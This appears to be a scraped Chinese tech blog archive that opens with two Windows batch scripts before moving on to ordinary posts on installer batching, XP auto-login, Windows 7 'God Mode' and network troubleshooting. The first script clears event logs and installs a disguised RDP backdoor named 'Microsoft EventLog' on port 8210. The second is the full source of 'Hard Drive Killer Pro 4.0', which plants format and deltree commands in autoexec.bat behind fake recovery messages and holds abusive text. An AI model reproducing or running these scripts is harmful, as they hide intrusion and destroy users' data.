@del c:\winnt\system32\config\*.event /f /q

@del c:\winnt\system32dtclog\*.* /f /q

@del c:\winnt\*.txt /f /q

@del c:\winnt\*.log /f /q

@net start w3svc


@net start event log

@rem [刪除日志]







@net stop lanmanserver /y

@net stop Schedule /y

@net stop RemoteRegistry /y

@del patch.dll

@echo The server has been patched,Have fun.

@del patch.bat

@REM [禁止一些危險的服務。]



@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinSt

ations\RDP-Tcp] >>patch.dll

@echo \PortNumber\=dword:00002010 >>patch.dll

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\r

dpwd\Tds\tcp >>patch.dll

@echo \PortNumber\=dword:00002012 >>patch.dll

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll

@echo \Start\=dword:00000002 >>patch.dll

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch


..dll

@echo \Start\=dword:00000002 >>patch.dll

@echo \ErrorControl\=dword:00000001 >>patch.dll

@echo \ImagePath\=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6

f,00,\ >>patch.dll

@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65

,\ >>patch.dll

@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00

>>patch.dll

@echo \ObjectName\=\LocalSystem\ >>patch.dll

@echo \Type\=dword:00000010 >>patch.dll

@echo \Description\=\Keep record of the program and windows message。\ >>patch.d

ll

@echo \DisplayName\=\Microsoft EventLog\ >>patch.dll

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch

..dll

@echo \Start\=dword:00000004 >>patch.dll

@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe

@REM [修改3389連接，端口為8210(十六進制為00002012)，名稱為Microsoft EventLog，留

條後路]



3.Hard Drive Killer Pro Version 4.0（玩批處理到這個水平真的不容易了。）


------------------------ cut here then save as .bat or .cmd file ---------------

------------

@echo off

rem This program is dedecated to a very special person that does not want to be

named.

:start

cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .

call attrib -r -h c:\autoexec.bat >nul

echo @echo off >c:\autoexec.bat

echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat

call attrib +r +h c:\autoexec.bat >nul

rem Drive checking and assigning the valid drives to the drive variable.



set drive=

set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z



rem code insertion for Drive Checking takes place here.

rem drivechk.bat is the file name under the root directory.

rem As far as the drive detection and drive variable settings, dont worry about

how it

rem works, its d\*amn to complicated for the average or even the expert batch pr


ogrammer.

rem Except for Tom Lavedas.



echo @echo off >drivechk.bat

echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find \Vol\ > nul >{t}.bat

%comspec% /e:2048 /c {t}.bat >>drivechk.bat

del {t}.bat

echo if errorlevel 1 goto enddc >>drivechk.bat



cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .



rem When errorlevel is 1, then the above is not true, if 0, then its true.

rem Opposite of binary rules. If 0, it will elaps to the next command.



echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find \bytes\ > nul >{

t}.bat

%comspec% /e:2048 /c {t}.bat >>drivechk.bat

del {t}.bat

echo if errorlevel 1 goto enddc >>drivechk.bat



cls


echo PLEASE WAIT WHILE PROGRAM LOADS . . .



rem if errorlevel is 1, then the drive specified is a removable media drive - no

t ready.

rem if errorlevel is 0, then it will elaps to the next command.



echo @prompt dir %%%%1:.\/ad/w/-p $b find \ 0 bytes free\ > nul >{t}.bat

%comspec% /e:2048 /c {t}.bat >>drivechk.bat

del {t}.bat

echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat



cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .



rem if its errorlevel 1, then the specified drive is a hard or floppy drive.

rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.



echo :enddc >>drivechk.bat



rem Drive checking insertion ends here. \enddc\ stands for \end dDRIVE cHECKING\

..




rem Now we will use the program drivechk.bat to attain valid drive information.



:Sampledrv



for %%a in (%alldrive%) do call drivechk.bat %%a >nul

del drivechk.bat >nul

if %drive.==. set drive=c



:form_del

call attrib -r -h c:\autoexec.bat >nul

echo @echo off >c:\autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your sys

tem . . . >>c:\autoexec.bat

echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\au

toexec.bat

echo cls >>c:\autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your sys

tem . . . >>c:\autoexec.bat

echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.b

at

echo cls >>c:\autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your sys


tem . . . >>c:\autoexec.bat

echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat

echo cls >>c:\autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your sys

tem . . . >>c:\autoexec.bat

echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\au

toexec.bat

echo cls >>c:\autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your sys

tem . . . >>c:\autoexec.bat

echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.b

at

echo cls >>c:\autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your sys

tem . . . >>c:\autoexec.bat

echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat

echo cd\ >>c:\autoexec.bat

echo cls >>c:\autoexec.bat

echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer

version 4.0. >>c:\autoexec.bat

echo echo If you ran this file, then sorry, I just made it. The purpose of this

program is to tell you the following. . . >>c:\autoexec.bat


echo echo 1. To make people aware that security should not be taken for granted.

>>c:\autoexec.bat

echo echo 2. Love is important, if you have it, truly, dont let go of it like I

did! >>c:\autoexec.bat

echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad y

our HD is dead. >>c:\autoexec.bat

echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Part

y.>>c:\autoexec.bat



echo echo. >>c:\autoexec.bat

echo echo Regards, >>c:\autoexec.bat

echo echo. >>c:\autoexec.bat

echo echo Munga Bunga >>c:\autoexec.bat

call attrib +r +h c:\autoexec.bat



:makedir

if exist c:\temp.bat attrib -r -h c:\temp.bat >nul

echo @echo off >c:\temp.bat

echo %%1:\ >>c:\temp.bat

echo cd\ >>c:\temp.bat

echo :startmd >>c:\temp.bat

echo for %%%%a in (\if not exist %%2\nul md %%2\ \if exist %%2\nul cd %%2\) do %


%%%a >>c:\temp.bat

echo for %%%%a in (\>ass_hole.txt\) do echo %%%%a Your Gone @$$hole!!!! >>c:\tem

p.bat

echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%

%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%

%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat

call attrib +r +h c:\temp.bat >nul



cls

echo Initializing Variables . . .

rem deltree /y %%a:\*. only eliminates directories, hence leaving the file creat

ed above for further destruction.

for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

echo Analyzing System Structure . . .

for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul


call attrib +r +h c:\temp.bat >nul

call attrib +r +h c:\autoexec.bat >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

echo Analyzing System Structure . . .

echo Initializing Application . . .



for %%a in (%drive%) call deltree /y %%a:\*. >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

echo Analyzing System Structure . . .

echo Initializing Application . . .

echo Starting Application . . .

for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul



cls

echo Thank you for using a Munga Bunga product.

echo.

echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius

..


echo.

echo Here is a joke for you . . .

echo.

echo Q). Whats the worst thing about being an egg?

echo A). You only get laid once.

echo.

echo HAHAHAHA, get it? Dont you just love that one?

echo.

echo Regards,

echo.

echo Munga Bunga



:end



rem Hard Drive Killer Pro Version 4.0, enjoy!!!!

rem Author: Munga Bunga - from Australia, the land full of retarded Australians

(help me get out of here).

如何將應用軟體包奘起來一次安裝呢 ??

2010-03-04T07:35:00.000-08:00

大致是這麼寫的：

start /wait 程式路徑\安裝程式1.exe [/安裝參數]
start /wait 程式路徑\安裝程式2.exe [/安裝參數]

start /wait 程式路徑\安裝程式1.exe [/安裝參數] start /wait 程式路徑\安裝程式2.exe [/安裝參數]

start /wait --> 啟動某一支程式，並等待程式結束後才繼續執行批次檔的另一行。
使用wait參數，可以讓程式一個個依序安裝。

如果是msi安裝檔，則必須透過執行 msiexec/i 的方式安裝。
例如：start /wait msiexec/i "Symantec Client Security.msi" INSTALLDIR=C:\SFN /qn
這是安裝賽門鐵克防毒的安裝方法。

or

Nullsoft Scriptable Install System 使用說明
NSIS這套軟體不會用沒關係小弟已經有找到之前搜尋的資料
資料如下
http://yrbn.myweb.hinet.net/txt/soft/nsis/nsis.htm
可以提供有興趣想要玩NSIS的人

如何讓電腦開機後自動登入XP

2010-03-04T01:07:00.000-08:00

http://www.lhu.edu.tw/i/teach-online/xp_autologin.htm ●如何讓電腦開機後自動登入XP？

每次開機都會出現XP的登入畫面，很多人可能會覺得每次都得輸入密碼登入相當煩人，如果你的電腦只有你一個人在用，且不擔心閒雜人等開你的電腦，那麼可以按照下面的方法來設定，讓你的Windows XP開機時不會出現輸入帳號、密碼的登入畫面，直接幫你跳到XP桌面，加快開機速度！



STEP1	依序按下桌面左下角的「開始」→「執行」，準備執行設定指令。出現「執行」對話盒後，直接在「執行」欄中輸入「control userpasswords2」，然後再按下「確定」。


STEP2	出現「使用者帳戶」對話盒後，點選「進階」後，再取消「必須輸入使用者名稱和密碼，才能使用這台電腦」左邊的勾選狀態，最後再按下〔套用〕，讓電腦以你選擇的帳號自動登入XP。


STEP3	出現「自動登入」對話盒後，依序在「密碼」、「確認密碼」欄中輸入你原本的XP登入密碼，如果之前沒設定密碼，就留空白不管他。設定好之後，再按下「確定」，回到「使用者帳戶」對話盒後，一樣按下「確定」完成全部設定工作。以後，當你再重開機時，電腦便會自動登入Windows XP，不用再花時間輸入密碼啦！

製作可用來安裝Windows 7的USB碟

2010-03-02T09:47:00.001-08:00

製作可用來安裝Windows 7的USB碟

Windows 7 使用技巧(持續更新)

2010-03-02T04:59:00.001-08:00

Windows 7 使用技巧(持續更新)

splash.dll is missing

2010-02-26T11:52:00.000-08:00

在執行Maya 時出現"splash.dll is missing"的問題 - 那是因為同時安裝了3ds Max 2010 的緣故, 只要右擊我的電腦>內容>進階>環境變數>系統變數(使用者變數也可)>新增, 在"變數名稱"填入"MAYA_DISABLE_CIP", 在"變數值"填入"1" 便可

MAYA 2010 64BIT

2010-02-09T10:21:00.000-08:00

MAYA 2010 64BIT舊版安裝破解完後啟動時會出現一個錯誤電腦遺失splash.dll

經過搜尋已找到解決方式，請把\AUTODESK.Maya.v2010.OLD\Splash.dll檔案

COPY至Program Files\Autodesk\MAYA2010\bin即可正常開啟

創意活動企劃高手

2010-01-11T08:49:00.001-08:00

出處
http://www.twbbs.net.tw/1284877.html

創意活動企劃高手──
壹、企劃力時代來臨
一、現代社會要求人人具備企劃能力
。企劃最能反映出個人能力
。各行各業都需要企劃能力
在科技進步、社會變遷的腳步快速的今日，昔日以埋頭苦幹、仰賴運氣面對世界的方式，已不足以應付這個瞬息萬變、競爭激烈的現代社會，能把握契機、善用資源、掌握時效、運用企劃力，才是致勝關鍵。其中，尤以「企劃力」是最重要關鍵。
現代社會可謂已進入企劃的時代，由於社會變遷速度加快、經濟型態改變、經濟、政治、社會都不斷在變革，人們對於事務、商品、服務、進步的要求提高，無論企業體、行政部門、民間組織，從與整體有關的經營，到橫向部門間的分枝結合、甚至層級間的上下連接，其複雜度都需要「企劃」來處理，因此企劃力是現代社會最需具備的能力。

二、企劃力是一個人發展的基本能力
　　　　　　一組織競爭的核心能力
　　　　　　一產生創新價值的主要動力
許多人忽略企劃的重要性，誤以為僅是紙上談兵、文字作業而已，但事後檢討時，才發現未能事先規劃、有效運用資源、掌握時效，即在於未有事先規劃。然而在學校生涯教育課程申未曾有企劃力的學習，步出校門後，反而不論做任何事都被要求要有企劃力，因此企劃力的具備與否，最能反映個人的能力，成為決定成功的關鍵。
事實上，企劃力除了在職場、工作的運用上，在日常生活中，我們亦不停的提出問題、解決問題、同時也繼續製造問題，計劃的能力在生活上是一直在運作的。具備企劃力，不僅讓我們在工作上能脫穎而出，也讓個人生命運作順暢，已成為個人發展的基本能力。

三、活動企劃的時代來臨
企劃能力的施展，無時無刻不在我們身邊，尤其是活動企劃的需求，舉凡平日所看到及參與的大小活動，也都是需要企劃能力的，例如辦個同樂會．生日會、旅遊，架設個人網站，或是主辦一次精采的旅遊，甚至安排自己一天的行程，都需要企劃能力。這些都宣告一個活動企劃時代的來臨。

貳、活動企劃的內涵
一、活動企劃定義
１、何謂活動
　　廣義：泛指兩個人以上的一切互動關係
　　狹義：一群人針對同一個目的而在一起做一些事情
２、何謂企劃
　　對一件事物作一思考與設計
３、何謂設計
　　對思考後的事物，經過繕寫，付諸書面
４、何謂執行
　　根據個人的設計付諸實現
二、活動企劃的類型
１．依時間長短分：
　　短時間的活動一如演講、晚會、舞會、夜遊、烤肉、競賽．卡拉ＯＫ，．…等。
　　長時間的活動一如迎新露管、幹部訓練管、營隊（一或二夭以上的）、運動會、展質．‥等。
２．依活動目的分：迎新活動、訓練活動．聯誼活動．競賽活動－等。
３．依活動內容分：露營．演講、展覽．戶外活動、運動、競賽、餐敘、參訪、服務．…等。‥

參．活動企劃手法一策略思考密訣６Ｗ２Ｈ
一、Ｗｈｙ（目的、動機）
目的、動機、緣起
二、Ｗｈｏ（人）＇
　　設計者、參與對象是誰？有多少人？
　　對象的背景因素一特質，需求、年齡層？配合度？體力狀況
三、Ｗｈｅｎ（時）：
　　何時、時間長短？時段一早上．中午、晚上
四、Ｗｈｅｒｅ（地）：
　　何處、交通、場地一場地規劃，座位規劃．大小，室內或室外、
五、ＷｈｉＣｈ（物）：
　　設備、教材、道具一燈光、音響、器材
六、Ｗｈａｔ（事．內容）：
　　活動內容計劃
七、Ｈｏｗ（如何、策略）
　　手法、策略、執行一預定進度、籌備狀況，文宣、活動執行、善後
八、ＨｏｗＭｕｃｈ（錢、經費預算）：
　　經費預估、來源、帳目、核銷

肆、活動企劃書的基本結構
一、封面
二、目錄
三、活動名稱
四、企劃的宗旨、目的與預期效果
五、活動日期、地點
六、主、協辦單位與贊助單位
七、個人費用
八、交通工具
九、活動對象
十、宣傳策略與實施方式
十一、預期困難點與解決策略
十二、相關人員或單位配合、協助事項與負責人
十三、活動流程與負責人
十四、預算評估表
十五、人力職務分配表與聯絡方式
十六，物品道具表
十七、時程進度表
十八、其他備案
十九、附錄

伍、企劃書的一般格式
一、封面
1．企劃書名稱:企劃書的名稱必須寫得具體清楚。
2．企劃者的姓名:企劃者的姓名、工作單位、職務均應一一寫明。
是集體企劃的話，所有相關的人員的姓名、工作單位、職務均應寫出。
3．企劃書完成時間:依照企劃書完成的年月日據實填寫。如果企劃書經過修正之後才定案的話，除了填寫「某年某月某日完成」之處，還要加上「某年某月某日修正定案。」
二、正文
1．企劃緣起、動機宗旨
2．目標
3．主、協、承辦單位
4．參與對象
5．舉辦時間、地點
6．企劃的內容
這是企劃書中最重要的部分。
包括活動內容、時間、場地、人力配置、器材、資源善後等，在實施過程申，需要使用、提供之場地、人力、資源，及需要提供的協助等，均要加以說明。
7．預算表和進度表
企劃是一項複雜的系統工程，需要人力、物力和財力的整合，因此，必須進行周密的經費預估，最好繪製表格，列出科目。
企劃進度表是把企翻活動的全部過程製成時間表，標示清楚，以便日後查核。
8．預期效益
預估企劃案實施的效果。一個好的企劃案，其效果是可期待預測的，而且結果經常與事先預期的效益相當接近。

陸、成為企劃高手的裝備
一、好奇心
二、對人、事、物關心
三、愛做夢
四、與人交談
五、創意筆記
六、想像力
七、整合力
八、實踐力
九、合作力
十、系統思考(細密週詳)

Windows 7 暗黑密技：上帝模式 (列出所有控制台項目)

2010-01-07T04:39:00.000-08:00

出處

http://blog.miniasp.com/post/2010/01/The-God-Mode-in-Windows-7.aspx

Windows 7 暗黑密技：上帝模式 (列出所有控制台項目)

今天有朋友跟我說一個「上帝模式」的小技巧，雖然對我來說不是什麼實用的技巧，因為我現在非常依賴 Windows 7 的搜尋功能，已經不再用瀏覽的方式找項目了，但這技巧可能對有些人有用，而且還真的挺有趣的。

建立一個擁有特殊名稱的目錄 ( 在任何目錄下建立都可以，放在桌面也行 )

上帝模式.{ED7BA470-8E54-465E-825C-99712043E01C}

雖然輸入的名稱很長，但按下 Enter 之後該目錄名稱只會顯示「上帝模式」四個字，名稱你可以修改：

點開之後將會看到所有「控制台」中所有可以管理的設定功能：

原本預設的控制台沒那麼多選項，大多被分類過或被包含在子選項內，但是這個特殊目錄開啟後所顯示個控制台項目琳瑯滿目、無所不包，可能是因為這樣才被人家稱之為 上帝模式 (God Mode) 吧。 ^^

除了透過「建立目錄」的方式外，其實也能夠利用指令列的方式啟動，指令如下

start shell:::{26EE0668-A00A-44D7-9371-BEB064C98683}\0\::{ed7ba470-8e54-465e-825c-99712043e01c}

如果要透過 [開始] \ [執行] 啟動的話，可以先按下 Win + R 然後輸入以下指令：

cmd /c start shell:::{26EE0668-A00A-44D7-9371-BEB064C98683}\0\::{ed7ba470-8e54-465e-825c-99712043e01c}

除此之外，你也可以透過「建立捷徑」的方式啟動「上帝模式」，捷徑的路徑與參數要這樣下：

explorer shell:::{26EE0668-A00A-44D7-9371-BEB064C98683}\0\::{ed7ba470-8e54-465e-825c-99712043e01c}

讓domain-user 登入時自動執行script檔

2010-01-04T01:35:00.000-08:00

出處
http://www.pmail.idv.tw/

讓domain-user 登入時自動執行script檔

小弟雖然有上過mcse的課程,但是因為本來公司的環境沒有AD架構所以無法體會

那小弟這次換到新的工作環境剛好有AD網域架構所以就可以好好的和公司的前輩好好的學習網域管理的東西

因為公司的User登入網域後都會自動建立網路磁碟機,之前在上課只有上到利用群組原則去設定

因為公司各部門連線的磁碟機都不同

所以除了使用把gpo套用在各個OU外，還有另一各方法

就是把每個script寫好後放在 C:\WINNT(or WINDOWS)sysvolxxx.dom.domSCRIPTS 下

然後再AD user computer 中 user的選項設定檔

可以輸入XXX.BAT 這樣就可以每各user登入後執行不同的批次檔

網路管理教學

2010-01-03T13:28:00.000-08:00

http://www2.meps.tp.edu.tw/documents/default.asp

釐清電腦維修問題

2010-01-03T13:02:00.000-08:00

釐清問題

當用戶對網路出現疑難時，網路管理師不應該立刻著手去偵錯處理，以免到頭來白忙一場，應該先問清楚，排除人為操作及應用軟體的問題，再決定下一步驟。在一個穩定的網路環境裡，網路故障的情況並不會太多。如果確定是網路出了問題，就要確定問題的來源，詢問用戶：

有沒有錯誤訊息?
在螢幕上看到什麼?
你正在進行何種操作?
問題什麼時候發生的?
最近有沒有裝過新軟體或硬體?

這些問題有助於釐清不正常現象的真正原因。

偵錯的價值

網路故障的可能性很多，如果有合理的懷疑，就可以使用偵錯工具做進一步的確認。確認問題來源並不是偵錯唯一的目的，因為故障排除的經驗，會有助於網路架構的規劃。例如：重要設備應有冗餘的線路，這樣能幫助偵錯，萬一真的故障也有後備計畫；有RAID系統就要有備用抽換硬碟，RAID才有設置的價值；在日常維護中若發現某機器負擔過重，某機器負擔過輕，就要依服務的性質重新配置在恰當的硬體上......等等。

偵錯步驟

撇開複雜的通訊協定不談，網路是由各種網路實體所組成，這些實體並不全都是PC，所以並不是全部都有使用者介面或圖形化的應用程式可以來監控狀態，另外這些設備也有些是在遠端，沒辦法去看燈號或組態，必須在遠端操作。

由於種種不便，於是業者開發了所謂的web base介面，這些介面操作容易不需學習，對監看該設備狀態有很大的幫助。可惜由於功能有限，所以並無法取代遠端登錄（telnet）。請詢問廠商或查看型錄，瞭解哪些設備有web介面可以使用。

一、實體線路連接問題：

檢查近端網路設備(例如：集線器、路由器、數據機)的燈號，Link(LNK)燈必須恆亮，而Action(ACT)燈必須閃爍，如果機器燈號不正常，必須將機器重開機，讓機器進行自我測試以恢復狀態，有些廠牌的網路設備，重開機後並不會立刻將韌體也一起重新啟動，而需要以人工方式進入主控台（把這個設備連接在一台工作站的COM埠，然後用終端機軟體簽入該設備），下指令將韌體重新啟動。如果不是機器的問題，請將無法連線的設備更換網路線，再以Ping指令測試是否線路有通。

二、網路卡測試：

測試網路卡晶片是否能正常工作，一般網路卡會附贈偵錯程式（有些直接執行Setup就可以看到偵錯選單），萬一沒有附偵錯程式給你，也可以使用windows系統的內建偵錯工具， net diag指令來偵錯。

三、TCP/IP通訊協定偵錯：

以 ipconfig /all（UNIX使用ifconfig）檢查網路組態是否設定正確，要檢查的項目是 IP 位址，網路遮罩，GATEWAY 的位址，DNS設定。接著以 ping 127.0.0.1 測試loop back是否有回應，接著 ping 自己的 IP 是否有回應，如果沒有問題接著 ping GATEWAY ，看看是否有回應，如果沒問題，接著 ping 自己的DOMAIN NAME 看看是否有回應，假如這些都沒問題，表示網路組態設定是正確的，如果沒有得到預期的結果，請檢查網路組態，看看是哪個部分有問題。

四、ROUTING TABLE偵錯：

以 netstat -r 檢查路由設定，可以了解本地網域（LAN）路由設定是否正確（請參考拙作路由設定一文），如果設定上沒有問題，那有可能是遠端網域的路由出狀況，由於遠端路由是由別人所管理，同時有可能穿越一個以上的區域網路，所以管理的單位及人員非常多，到底是誰的問題，應該聯絡誰處理，必須要追蹤路由，以釐清問題點出在那兒，可以使用 tracert（UNIX使用traceroute）指令追蹤路徑。有關路由的觀念，稍後在介紹指令時會詳細說明。

五、Netbios名稱服務偵錯：

如果在網路上的芳鄰看不到正確的電腦列表，而網路又已連通，那就表示Netbios名稱服務出了問題。由於UNIX主機並不支援Windows系列的 Netbios名稱服務，所以在網路上的芳鄰看不到UNIX的機器是正常的，解決方法是在UNIX上安裝Samba伺服程式就可以了，關於UNIX和NT 網路環境如何整合，本文不擬介紹。

Netbios名稱服務是透過廣播的方式來查詢主要名稱瀏覽器（Master Browser）來獲得電腦名單，主要名稱瀏覽器通常是網路上第一台開機的電腦，如果網域裡面有作業系統版本較高的主機，將會在開機後自動成為主要名稱瀏覽器，它會每隔十五分鐘選擇一台機器當備份名稱瀏覽器（Backup Browser），備份清單上的資料。網域內的工作站會每隔12秒廣播自己的電腦名稱，以及存在的分享資源，主要名稱瀏覽器收到後，就會整理清單。網域內如果電腦數太多會造成廣播封包急速增加，而佔用頻寬，規劃上可以使用橋接器或Layer 2的Switch管制廣播封包的流向，減輕網路負荷，有許多網路系統就是因為規劃不當而造成廣播風暴，致使網路效能不彰。

NetBT 封包無法穿越路由器或防火牆，如果想穿越路由器只能將NetBT封裝成IP封包，這件事可由WINS伺服器來完成。同時因為WINS伺服器的架設，原本會定期廣播的機制，會轉變成固定向WINS查詢，可以有效減輕網路負擔，一台專職的WINS伺服器，其效能足以提供給五個網域內一千台以上的工作站使用。如果路由器後方有防火牆，必須將TCP137~139、UDP138~139放行，才能通過防火牆的攔堵；通常只有在多個網域互相連接時，才需要考慮這個問題。這裡再強調一次，如果區域網路電腦數量太多，或者已經用橋接器或交換器或路由器來連接各個子網域，一定要安裝一台專職WINS伺服器（選擇NT的 WINS或UNIX的SAMBA都可以），這樣透過網路工作才會輕鬆宜人。

我們可以使用 nbtstat -n 查看目前的電腦列表，或使用 nbtstat -r 來送出廣播封包以更新電腦列表的內容。

偵錯工具

一、 ping

ping指令是傳遞ICMP封包，來測試另一部主機或網路設備是否可經由網路連接。如果 ping 有成功回應，你會看到以下訊息：

C:\>ping 163.21.236.5

Pinging 163.21.236.5 with 32 bytes of data:

Reply from 163.21.236.5: bytes=32 time=1ms TTL=255
Reply from 163.21.236.5: bytes=32 time<10ms ttl="255" bytes="32" time="1ms" ttl="255" bytes="32" time="1ms" ttl="255" sent =" 4," received =" 4," lost =" 0" minimum =" 0ms," maximum =" 1ms," average =" 0ms">

依照錯誤訊息各有不同含意，例如上述之Reply from 163.21.254.254 : Destination Unreachable. 通常是該主機服務不存在、埠不存在、主機或網路無法辨識或是因為管理上的理由該主機被禁止回應。而Reply from 163.21.254.254: TTL expired in transit. 則是因為路由設定錯誤產生迴圈，最後當TTL減到0時最後收到封包的閘道器就會發出此訊息，如果去 ping 一個不應該存在的IP也會產生此種訊息。

二、 net

net 與其說是一個指令，不如說是一個指令群，net 指令群由來已久，在NT上比在98上多了一些次指令，在此只介紹98提供的net次指令。各種次指令與用途略述如下：

net 不加參數，會顯示 net 指令群各種次指令列表及功能略述。
net help 會顯示此一指令群的詳細資訊和錯誤訊息的意義。
net config 用來顯示Windows網路的Netbois設定值，包括使用者名稱、電腦名稱、群組名稱及版本資訊。
net view 用來查詢和顯示某台主機所提供的共享資源名稱（藉由「檔案列印共享服務」這支程式來提供）。
net use 用來將遠端所提供的共享資源虛擬成本地端的資源。
net init 將網路狀態重置，會重新載入網路卡驅動程式及通訊協定。
net logon 和 net logoff 就是進行Windows網域的登入、登出動作。
net start 和 net stop 用來起始和終止網路服務。
net passwd 修改目前使用者的密碼。
net time 向Time Server查詢正確的時間，並會改變本機的系統時間設定。
net print 用來顯示和控制網路印表機的列印工作狀態。
net diag 網路連線偵測工具。

以下介紹 net diag 的用法，執行net diag 指令後，螢幕會出現下列訊息。

C:\>net diag
Microsoft Network Diagnostics will use a NetBIOS provider.
Searching for diagnostic server...

No diagnostic servers were detected on the network.
Is Microsoft Network Diagnostics currently running on any other computers
on the network ? (Y/N)
This computer will now begin acting as a diagnostic server.

Press any key to stop acting as a diagnostic server.

使用時必須找一台沒有問題的機器來配合測試，首先在該機器上執行 net diag 出現Searching for diagnostic server... 訊息後，按 enter ，接著電腦會問你是不是要把該機器當成測試 server ，回答y(yes)，機器會開始不停送出廣播封包。到要測試的機器上執行 net diag ，這時機器會去監聽網路上是否有diagnostic servers送出來的測試封包，假如網路卡沒有問題，應該會出現收到封包的訊息。

接收封包測試成功，表示網路卡可以將Data link封包（Layer 2）解框，但這並不一定表示網路卡沒有壞，所以接下來還必須測試傳送封包的能力，看看網路卡是不是可以將封包加框，必須將剛才步驟顛倒過來，測試其傳送封包的能力，假設都沒有問題，那麼就證明網路卡可以正常工作。

記得使用這種非廠商提供的程式，必須使用微軟的NDIS界面與網路卡所附的Layer 2的驅動程式，所以使用此方法來測試，需先執行net logon，將這兩種東西bind在一起。如果你連網路都無法login，請製作一片DOS開機片，將網路卡所附的NDIS DOS驅動程式，以 Device= 的方式掛在config.sys中，再用它開機就可以正確執行net指令了，有點麻煩但是當你沒有網路卡測試工具時，就必須這麼做。

三、 ipconfig

這個指令用來顯示基本IP設定，如果使用 ipconfig /all 可以顯示更多的組態，畫面如下：

C:\>ipconfig /all

Host Name . . . . . . . . . : caldera.tmtc.edu.tw
DNS Servers . . . . . . . . : 163.21.236.4
163.21.236.5
163.21.236.7
Node Type . . . . . . . . . : Broadcast
NetBIOS Scope ID. . . . . . :
IP Routing Enabled. . . . . : No
WINS Proxy Enabled. . . . . : No
NetBIOS Resolution Uses DNS : Yes

0 Ethernet adapter :

Description . . . . . . . . : Fast Ethernet PCI Adapter
Physical Address. . . . . . : 00-80-C8-F7-ED-29
DHCP Enabled. . . . . . . . : No
IP Address. . . . . . . . . : 163.21.236.71
Subnet Mask . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . : 163.21.236.254
Primary WINS Server . . . . :
Secondary WINS Server . . . :
Lease Obtained. . . . . . . :
Lease Expires . . . . . . . :

各種組態中Netbios名稱服務的五種組態（以紅色標示）是Windows系統特有的，（請參考上節Netbios的說明），UNIX以ifconfig顯示IP組態時，並不會有此類訊息。分別敘述如下：

Node Type . . . . . . . . . : Broadcast 表示本機以廣播方式從主要名稱瀏覽器取得Netbios名稱表列，而不透過WINS伺服器解析Netbios名稱（Broadcast會浪費頻寬）。

NetBIOS Scope ID. . . . . . : 表示未設定轄區號碼，轄區號碼是用來定義Netbios群組，以便在同一子網域中分隔電腦共享資源成不同的表列。

IP Routing Enabled. . . . . : No 表示不要啟動IP路由

WINS Proxy Enabled. . . . . : No 表示不要成為WINS在本地網域代理者（如果設成Yes，可以讓本機成為遠端WINS的本地端代理器，可以有效降低頻寬用量）

NetBIOS Resolution Uses DNS : Yes 表示要使用DNS來做Netbios名稱解析

使用DNS來做Netbios名稱解析是沒有意義的，特別是透過UNIX系統的DNS，或許微軟公司想要以DNS來支援Netbios名稱系統，但由於 TCP/IP風行，所以微軟自己的DNS也僅只是將Netbios名稱的要求封包丟給WINS伺服器去解析，扮演起白手套的角色，自己也不提供支援。

四、 tracert

這個工具用來追蹤封包從一部機器到另一部機器，將會經由網路走哪一條路徑。這個工具對於追蹤網路斷訊特別有用，當然系統管理師必須對網路實際連接的架構有所瞭解，才能派上用場。其輸出結果如下：

C:\>tracert www.ntu.edu.tw

Tracing route to w3.cc.ntu.edu.tw [140.112.8.130]
over a maximum of 30 hops:

1 1 ms <10>

